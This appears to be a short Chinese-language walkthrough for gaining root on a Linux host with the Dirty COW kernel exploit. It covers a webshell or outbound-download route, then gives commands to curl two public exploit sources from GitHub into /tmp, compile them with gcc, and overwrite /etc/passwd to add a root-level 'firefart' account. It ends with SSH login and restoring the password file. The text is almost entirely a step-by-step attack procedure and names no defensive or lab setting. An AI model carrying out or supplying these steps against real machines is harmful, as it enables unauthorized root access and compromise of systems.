环境准备
查看系统版本并且添加用户
uname -a
切换用户
环境
webshell来进行操作
只需要通过webshell在/tmp
目录下写入文件即可
无webshell
机器出网
例如机器出网,但是只能执行命令,那么就需要使用命令来下载
机器不出网
这种比较麻烦,通过echo逐行写入即可
这里使用无webshell,但是目标出网的方法
可以使用github,也可以使用自己的服务器
python -m http.server 80 #python3
python -m SimpleHTTPServer 80 #python2
在目录下放置exp
EXP1
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
curl -o /tmp/dirtycow.c https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
gcc -pthread /tmp/dirtycow.c -o /tmp/dirtyc0w
chmod +x /tmp/dirtyc0w
这样就可以写入文件
/tmp/dirtyc0w /tmp/dirtycow.c 123
需要等待的久一点,
EXP2
https://github.com/FireFart/dirtycow/blob/master/dirty.c
curl -o /tmp/dirty.c https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c
gcc -pthread /tmp/dirty.c -o /tmp/dirty -lcrypt
chmod +x /tmp/dirty
这个exp是修改/etc/passwd
可以使用加速源
https://raw.fastgit.org/FireFart/dirtycow/master/dirty.c
/tmp/dirty my-new-password
之后使用端口转发或者http代理连入
使用账号firefart
密码my-new-password
登录ssh
ssh firefart@1.1.1.1 -p 22
登录成功之后即可使用root权限操作,但是需要还原/etc/passwd
mv /tmp/passwd.bak /etc/passwd
还原之后一样可以添加用户